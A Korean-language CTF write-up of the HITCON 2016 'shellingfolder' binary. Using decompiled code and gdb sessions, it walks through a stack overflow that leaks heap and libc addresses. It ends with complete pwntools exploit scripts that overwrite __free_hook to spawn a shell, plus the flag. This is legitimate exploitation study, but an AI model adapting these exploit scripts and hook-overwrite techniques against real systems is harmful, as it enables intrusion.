Excuse the ads! We need some help to keep our site up.
This is a magic folder. |
autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$ file shellingfolder_42848afa70a13434679fac53a471239255753260 shellingfolder_42848afa70a13434679fac53a471239255753260: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=011a2a4e3b9edc0ee9b08578c62ca76dec45ef64, stripped autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$ checksec.sh --file shellingfolder_42848afa70a13434679fac53a471239255753260 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH shellingfolder_42848afa70a13434679fac53a471239255753260 autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$ |
1. 현재 폴더를 나열하십시오.
2. 현재 폴더 변경
3. 폴더 만들기
4. 현재 폴더에 파일 만들기
5. 폴더 또는 파일을 제거하십시오.
6. 폴더 크기 계산
7. 종료
************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice: |
InputNumber()함수를 이용하여 사용자로 부터 사용할 Menu의 번호를 입력 받습니다.
struct FileInfo{ struct FileInfo *list[10]; struct FileInfo *parentFolder; char docName[32]; long size; int fileType; } |
void __fastcall main(__int64 a1, char **a2, char **a3) { __int64 v3; // rax unsigned int savedregs; // [rsp+10h] [rbp+0h] setSIGALM(); v3 = (__int64)calloc(1uLL, 0x88uLL); rootFolder = (struct FileInfo *)v3; v3 += 88LL; *(_DWORD *)v3 = 'toor'; *(_BYTE *)(v3 + 4) = 0; rootFolder->parentFolder = rootFolder; rootFolder->fileType = 1; gFolder = rootFolder; while ( 1 ) { PrintMenu(); InputNumber(); switch ( (unsigned int)&savedregs ) { case 1u: ListFloder(gFolder); break; case 2u: ChangeFolder(gFolder); break; case 3u: MakeFolder(gFolder); break; case 4u: CreateFile(gFolder); break; case 5u: Remove(gFolder); break; case 6u: Caculate(gFolder); break; case 7u: puts("bye bye"); exit(0); return; default: puts("Invalid choice"); break; } } } |
unsigned __int64 __fastcall ListFloder(FileInfo *folder) { signed int i; // [rsp+18h] [rbp-38h] unsigned __int64 v3; // [rsp+48h] [rbp-8h] v3 = __readfsqword(0x28u); if ( !folder ) exit(1); puts("----------------------"); for ( i = 0; i <= 9; ++i ) { if ( folder->list[i] ) { if ( folder->list[i]->fileType ) printf("\x1B[32m%s\x1B[0m\n", folder->list[i]->docName); else puts(folder->list[i]->docName); } } puts("----------------------"); return __readfsqword(0x28u) ^ v3; } |
signed __int64 __fastcall ChangeFolder(FileInfo *folder) { signed int i; // [rsp+1Ch] [rbp-34h] char folderName[40]; // [rsp+20h] [rbp-30h] unsigned __int64 v4; // [rsp+48h] [rbp-8h] v4 = __readfsqword(0x28u); if ( !folder ) exit(-1); printf("Choose a Folder :"); InputName(folderName, 31); if ( !strcmp(folderName, "..") ) { gFolder = folder->parentFolder; puts("successful"); } else { for ( i = 0; i <= 9; ++i ) { if ( folder->list[i] && folder->list[i]->fileType == 1 && !strcmp(folder->list[i]->docName, folderName) ) { gFolder = folder->list[i]; puts("successful"); return 1LL; } } puts("No such Folder"); } return 0LL; } |
newFolder→fileType = 1(폴더)
checkEmptyList() 함수를 이용해 전역변수의 list[]에 새로 생성한 폴더 정보를 저장 할 공간이 있는지 확인합니다.
int __fastcall MakeFolder(struct FileInfo *folder) { int result; // eax FileInfo *newFolder; // [rsp+18h] [rbp-8h] if ( !folder ) exit(1); newFolder = (FileInfo *)calloc(1uLL, 0x88uLL); if ( !newFolder ) { puts("Malloc error!!"); exit(-1); } printf("Name of Folder:", 136LL); InputName((unsigned __int8 *)newFolder->docName, 31); newFolder->fileType = 1; newFolder->parentFolder = folder; newFolder->size = 0LL; if ( (unsigned int)checkEmptyList(folder, newFolder) == 1 ) result = puts("successful"); else result = puts("Failed"); return result; } |
newFile→fileType = 0(파일)
newFile→size = 사용자가 입력한 숫자 값
int __fastcall CreateFile(FileInfo *folder) { int result; // eax FileInfo *newFile; // [rsp+18h] [rbp-8h] if ( !folder ) exit(1); newFile = (FileInfo *)calloc(1uLL, 0x88uLL); if ( !newFile ) { puts("Malloc error!!"); exit(-1); } printf("Name of File:", 136LL); InputName((unsigned __int8 *)newFile->docName, 31); newFile->fileType = 0; newFile->parentFolder = folder; printf("Size of File:", 31LL); newFile->size = InputNumber(); if ( (unsigned int)checkEmptyList((__int64)folder, (__int64)newFile) == 1 ) result = puts("successful"); else result = puts("Failed"); return result; } |
signed __int64 __fastcall Remove(FileInfo *folder) { signed int i; // [rsp+1Ch] [rbp-34h] char fileName[40]; // [rsp+20h] [rbp-30h] unsigned __int64 v4; // [rsp+48h] [rbp-8h] v4 = __readfsqword(0x28u); if ( !folder ) exit(-1); printf("Choose a Folder or file :"); InputName(fileName, 31); for ( i = 0; i <= 9; ++i ) { if ( folder->list[i] && !strcmp(folder->list[i]->docName, fileName) ) { FreeFolder(folder->list[i], fileName); folder->list[i] = 0LL; return 1LL; } } puts("No such Folder"); return 0LL; } |
void __fastcall FreeFolder(FileInfo *delFolder, char *fileName) { signed int i; // [rsp+1Ch] [rbp-4h] if ( delFolder ) { if ( delFolder->fileType ) { for ( i = 0; i <= 9; ++i ) { if ( delFolder->list[i] ) FreeFolder(delFolder->list[i], fileName); } free(delFolder); } else { free(delFolder); } } } |
callMemcopy() 함수를 이용해 folder→list[count]→docName의 내용을 isDocName 변수에 복사합니다.
unsigned __int64 __fastcall Caculate(FileInfo *folder) { char isDocName[24]; // [rsp+10h] [rbp-30h] __int64 *ptrSize; // [rsp+28h] [rbp-18h] int count; // [rsp+30h] [rbp-10h] unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); if ( !folder ) exit(1); count = 0; memset(isDocName, 0, 32uLL); while ( count <= 9 ) { if ( folder->list[count] ) { ptrSize = &folder->size; callMemcopy(isDocName, folder->list[count]->docName); if ( folder->list[count]->fileType == 1 ) { *ptrSize = *ptrSize; } else { printf("%s : size %ld\n", isDocName, folder->list[count]->size); *ptrSize += folder->list[count]->size; } } ++count; } printf("The size of the folder is %ld\n", folder->size); return __readfsqword(0x28u) ^ v5; } |
heap변수에 저장된 문자열의 크기를 추출합니다.
void *__fastcall callMemcopy(void *stack, const char *heap) { size_t len; // ST28_8 len = strlen(heap); return memcpy(stack, heap, len); } |
lazenca0x0@ubuntu:~/CTF/HITCON/ShellingFolder$ gdb -q ./shell* Reading symbols from ./shellingfolder_42848afa70a13434679fac53a471239255753260...(no debugging symbols found)...done. gdb-peda$ handle SIGALRM nopass Signal Stop Print Pass to program Description SIGALRM No Yes No Alarm clock gdb-peda$ b *0x555555554000 + 0x1378 Breakpoint 1 at 0x555555555378 gdb-peda$ b *0x555555554000 + 0x13A5 Breakpoint 2 at 0x555555555378 gdb-peda$ b *0x555555554000 + 0x1331 Breakpoint 3 at 0x555555555331 gdb-peda$ |
Overflow를 확인하기 위해 다음과 같이 입력합니다.
"4.Create a file in current folder" 기능을 호출 후 "Name of File:"의 값으로 "A * 24 + B * 7"를 입력합니다.
"Calculate the size of folder" 기능을 호출 합니다.
"ptrSize"(0x7fffffffe138) 영역에 "&folder→size"(0x555555757088)의 주소 값이 저장됩니다.
gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/ShellingFolder/shellingfolder_42848afa70a13434679fac53a471239255753260 ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:4 Name of File:AAAAAAAAAAAAAAAAAAAAAAAABBBBBBB Size of File:successful ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:6 Breakpoint 1, 0x0000555555555378 in ?? () gdb-peda$ i r rdi rdi 0x7fffffffe120 0x7fffffffe120 gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x0000555555555820 0x00000006f7a7c7fa 0x7fffffffe130: 0x0000000000000a36 0x00007fffffffe150 0x7fffffffe140: 0x0000555500000000 0x06a271d09477ed00 gdb-peda$ ni 0x000055555555537d in ?? () gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x0000000000000000 0x0000000000000000 0x7fffffffe130: 0x0000000000000000 0x0000000000000000 0x7fffffffe140: 0x0000555500000000 0x06a271d09477ed00 gdb-peda$ c Continuing. Breakpoint 2, 0x00005555555553a5 in ?? () gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x0000000000000000 0x0000000000000000 0x7fffffffe130: 0x0000000000000000 0x0000555555757088 0x7fffffffe140: 0x0000555500000000 0x06a271d09477ed00 gdb-peda$ |
다음과 같이 Stack overflow를 확인 할 수 있습니다.
callMemcopy() 함수의 memcpy()에 의해 "ptrSize"(0x7fffffffe138) 영역이 사용자 입력값으로 덮어썼습니다.
0x555555757088 → 0x0042424242424242
즉, 공격자는 해당 취약성를 이용하여 ptrSize의 값을 마음대로 변경할 수 있습니다.
gdb-peda$ c Continuing. Breakpoint 3, 0x0000555555555331 in ?? () gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x4141414141414141 0x4141414141414141 0x7fffffffe130: 0x4141414141414141 0x0042424242424242 0x7fffffffe140: 0x0000555500000000 0x06a271d09477ed00 gdb-peda$ |
|
|
|
gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/ShellingFolder/shellingfolder_42848afa70a13434679fac53a471239255753260 ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:3 Breakpoint 2, 0x000055555555501f in ?? () gdb-peda$ i r rax rax 0x5555557570a0 0x5555557570a0 gdb-peda$ c Continuing. Name of Folder:AAAA successful ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:3 Breakpoint 2, 0x000055555555501f in ?? () gdb-peda$ i r rax rax 0x555555757130 0x555555757130 gdb-peda$ c Continuing. Name of Folder:BBBB successful ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:4 Name of File:CCCCCCCCCCCCCCCCCCCCCCCCD Size of File:64 successful ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice: |
bk영역을 출력하기 위해서는 "rootFolder"→list[1]의 값이 변경되어야 합니다.
bk(0x555555757138) - 0x58 = 0x5555557570e0
Your choice:5 Choose a Folder or file :BBBB Breakpoint 1, 0x0000555555554e11 in ?? () gdb-peda$ x/12gx 0x555555757130 0x555555757130: 0x0000000000000000 0x0000000000000000 0x555555757140: 0x0000000000000000 0x0000000000000000 0x555555757150: 0x0000000000000000 0x0000000000000000 0x555555757160: 0x0000000000000000 0x0000000000000000 0x555555757170: 0x0000000000000000 0x0000000000000000 0x555555757180: 0x0000555555757010 0x0000000042424242 gdb-peda$ ni 0x0000555555554e16 in ?? () gdb-peda$ x/12gx 0x555555757130 0x555555757130: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757140: 0x0000000000000000 0x0000000000000000 0x555555757150: 0x0000000000000000 0x0000000000000000 0x555555757160: 0x0000000000000000 0x0000000000000000 0x555555757170: 0x0000000000000000 0x0000000000000000 0x555555757180: 0x0000555555757010 0x0000000042424242 gdb-peda$ x/gx 0x555555757010 0x555555757010: 0x00005555557570a0 gdb-peda$ x/gx 0x00005555557570a0 + 0x58 0x5555557570f8: 0x0000000041414141 gdb-peda$ x/20gx 0x00005555557570a0 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000555555757010 0x0000000041414141 0x555555757100: 0x0000000000000000 0x0000000000000000 0x555555757110: 0x0000000000000000 0x0000000000000000 0x555555757120: 0x0000000000000001 0x0000000000000091 0x555555757130: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 gdb-peda$ p/x 0x555555757138 - 0x58 $3 = 0x5555557570e0 gdb-peda$ p/x 0x5555557570e0 - 0x5555557570a0 $4 = 0x40 gdb-peda$ p/d 0x40 $5 = 64 |
다음과 같은 방법으로 "rootFolder" 변수의 값을 변경할 수 있습니다.
사용자가 입력한 파일명으로 인해 "ptrSize"에 저장된 주소 값이 1byte 변경되었습니다.
즉, 해당 값을 "rootFolder"의 주소 값으로 변경할 수 있습니다.
'D' 대신 0x10을 전달
Ex) "C" * 24 + 0x10 : 0x0000555555757088 → 0x0000555555757044
gdb-peda$ c Continuing. ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:6 Breakpoint 3, 0x0000555555555331 in ?? () gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x0000000041414141 0x0000000000000000 0x7fffffffe130: 0x0000000000000000 0x0000555555757088 0x7fffffffe140: 0x0000555500000000 0x6ad1e428fbe39100 gdb-peda$ c Continuing. Breakpoint 3, 0x0000555555555331 in ?? () gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x4343434343434343 0x4343434343434343 0x7fffffffe130: 0x4343434343434343 0x0000555555757044 0x7fffffffe140: 0x0000555500000002 0x6ad1e428fbe39100 gdb-peda$ set *0x7fffffffe138 = 0x55757010 gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x4343434343434343 0x4343434343434343 0x7fffffffe130: 0x4343434343434343 0x0000555555757010 0x7fffffffe140: 0x0000555500000002 0x6ad1e428fbe39100 gdb-peda$ x/4gx 0x0000555555757010 0x555555757010: 0x00005555557570a0 0x0000000000000000 0x555555757020: 0x00005555557571c0 0x0000000000000000 gdb-peda$ |
다음과 같이 파일의 size 값에 의해 "rootFolder"의 list[1]에 저장된 값을 변경할 수 있습니다.
Stack overflow에 의해 ptrSize의 주소는 "rootFolder"→list[1]가 되었습니다.(0x555555757010)
파일의 size(0x40)값이 "rootFolder"→list[1]에 더해 집니다.
0x555555757010: 0x00005555557570a0 +x040 = 0x5555557570e0
Breakpoint 4, 0x000055555555543e in ?? () gdb-peda$ i r rax rax 0x555555757010 0x555555757010 gdb-peda$ i r rdx rdx 0x5555557570e0 0x5555557570e0 gdb-peda$ x/gx 0x5555557570e0 + 0x58 0x555555757138: 0x00007ffff7dd1b78 gdb-peda$ |
Libc address : x??(0x7ffff7dd1b78)
gdb-peda$ c Continuing. The size of the folder is 0 ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:1 ---------------------- x?? CCCCCCCCCCCCCCCCCCCCCCCCD ---------------------- ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice: |
from pwn import * PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260" def Functions(number,name,size): p.sendlineafter(":",str(number)) if (number != 1 or number != 6): p.sendlineafter(":",name) if number == 4: p.sendlineafter(":",str(size)) p = process(PWN_FILE) Functions(3,"AAAA",0) Functions(3,"BBBB",0) Functions(4,"C"*24+p8(0x10),64) Functions(5,"BBBB",0) Functions(6,"",0) Functions(1,"",0) p.recvuntil("----------------------\n") libcAddr = u64(p.recv(6).ljust(8,"\x00")) log.info("Libc Address : " + hex(libcAddr)) |
autolycos@ubuntu:~/CTF/HITCON2016/Shellingfolder$ python Exploit.py [+] Starting local process './shellingfolder_42848afa70a13434679fac53a471239255753260': Done [*] Libc Address : 0x7f108925f7b8 [*] Stopped program './shellingfolder_42848afa70a13434679fac53a471239255753260' |
Starting program: /home/autolycos/CTF/HITCON2016/Shellingfolder/shellingfolder_42848afa70a13434679fac53a471239255753260 ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:4 Name of File:AAAAAAAAAAAAAAAAAAAAAAAA Size of File:0 successful ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:6 Breakpoint 1, 0x000055555555540a in ?? () (gdb) i r rax rax 0x7fffffffe1b0 140737488347568 (gdb) x/4gx 0x7fffffffe1b0 0x7fffffffe1b0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1c0: 0x4141414141414141 0x0000555555757088 (gdb) |
... Functions(4,"Z"*24,0) #Create File Functions(6,"",0) #Calc p.recvuntil("Z"*24) heapAddr = u64(p.recv(6).ljust(8,"\x00")) Functions(5,"Z"*24,0) ... |
|
#define SHELL_PATH "/bin/sh" /* Path of the shell. */ #define SHELL_NAME "sh" /* Name to give it. */ ... if (pid == (pid_t) 0) { /* Child side. */ const char *new_argv[4]; new_argv[0] = SHELL_NAME; new_argv[1] = "-c"; new_argv[2] = line; new_argv[3] = NULL; /* Restore the signals. */ (void) __sigaction (SIGINT, &intr, (struct sigaction *) NULL); (void) __sigaction (SIGQUIT, &quit, (struct sigaction *) NULL); (void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL); INIT_LOCK (); /* Exec the shell. */ (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ); _exit (127); } ... |
.text:000000000004647C mov rax, cs:environ_ptr_0 .text:0000000000046483 lea rdi, aBinSh ; "/bin/sh" .text:000000000004648A lea rsi, [rsp+188h+var_158] .text:000000000004648F mov cs:dword_3C06C0, 0 .text:0000000000046499 mov cs:dword_3C06D0, 0 .text:00000000000464A3 mov rdx, [rax] .text:00000000000464A6 call execve |
from pwn import * #context.log_level = 'debug' PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260" LIBC_FILE = "/lib/x86_64-linux-gnu/libc.so.6" def List(): p.recvuntil('Your choice:') p.sendline('1') def CreateDir(name): p.recvuntil('Your choice:') p.sendline('3') p.recvuntil('Name of Folder:') p.sendline(name) def CreateFile(name,size): p.recvuntil('Your choice:') p.sendline('4') p.recvuntil('Name of File:') p.send(name) p.recvuntil('Size of File:') p.sendline(str(size)) def Calc(): p.recvuntil('Your choice:') p.sendline('6') def Remove(name): p.recvuntil('Your choice:') p.sendline('5') p.recvuntil('Choose a Folder or file :') p.sendline(name) p = process(PWN_FILE) libc = ELF(LIBC_FILE) #Leak Heap address CreateFile("Z"*24,0) Calc() p.recvuntil("Z"*24) heapAddr = u64(p.recv(6).ljust(8,"\x00")) Remove("Z"*24) #Leak Libc address CreateDir("AAAA") CreateDir("BBBB") CreateFile("C"*24+p8(0x10),64) Remove("BBBB") Calc() List() #Print Libc address p.recvuntil("----------------------\n") libcAddr = u64(p.recv(6).ljust(8,"\x00")) libc.address += libcAddr - 0x3c4b78 systemAddr = libc.symbols['system'] freeHook = libc.symbols['__free_hook'] log.info("Heap Address : " + hex(heapAddr)) log.info("Libc Address : " + hex(libcAddr)) log.info("System() : " + hex(systemAddr)) log.info("__free_hook() : " + hex(freeHook)) #Overflow freeHook -> systemAddr CreateFile("D"*24+p64(freeHook)[:7], (systemAddr & 0xffffffff)) CreateFile("E"*24+p64(freeHook+4)[:7], (systemAddr & 0xffffffff00000000)>>32) #Overflow "GetSh->list[1]" -> "sh;" CreateFile("F"*24+p64(heapAddr+0x2e8)[:7:],0x3b6873) CreateFile("GetSh",0) Calc() #system(sh;) Remove("GetSh") p.interactive() |
from pwn import * #context.log_level = 'debug' PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260" LIBC_FILE = "/lib/x86_64-linux-gnu/libc.so.6" def List(): p.recvuntil('Your choice:') p.sendline('1') def CreateDir(name): p.recvuntil('Your choice:') p.sendline('3') p.recvuntil('Name of Folder:') p.sendline(name) def CreateFile(name,size): p.recvuntil('Your choice:') p.sendline('4') p.recvuntil('Name of File:') p.send(name) p.recvuntil('Size of File:') p.sendline(str(size)) def Calc(): p.recvuntil('Your choice:') p.sendline('6') def Remove(name): p.recvuntil('Your choice:') p.sendline('5') p.recvuntil('Choose a Folder or file :') p.sendline(name) p = process(PWN_FILE) libc = ELF(LIBC_FILE) #Leak Heap address CreateFile("Z"*24,0) #Create File Calc() p.recvuntil("Z"*24) heapAddr = u64(p.recv(6).ljust(8,"\x00")) Remove("Z"*24) #Leak Libc address CreateDir("AAAA") CreateDir("BBBB") CreateFile("C"*24+p8(0x10),64) Remove("BBBB") Calc() List() p.recvuntil("----------------------\n") #Print Libc address libcAddr = u64(p.recv(6).ljust(8,"\x00")) libc.address += libcAddr - 0x3c4b78 systemAddr = libc.symbols['system'] freeHook = libc.symbols['__free_hook'] execve = libc.address + 0x4647c log.info("Heap Address : " + hex(heapAddr)) log.info("Libc Address : " + hex(libcAddr)) log.info("execve('/bin/sh') : " + hex(execve)) log.info("__free_hook() : " + hex(freeHook)) #Overflow freeHook -> systemAddr CreateFile("D"*24+p64(freeHook)[:7], (execve & 0xffffffff)) #Create File CreateFile("E"*24+p64(freeHook+4)[:7], (execve & 0xffffffff00000000)>>32) #Create File Calc() #execve("/bin/sh") Remove("D"*24+p64(freeHook)[:7]) p.interactive() |
Flag | hitcon{Sh3llingF0ld3r_Sh3rr1nf0rd_Pl4y_w17h_4_S1mpl3_D4t4_Ori3nt3d_Pr0gr4mm1n7} |
---|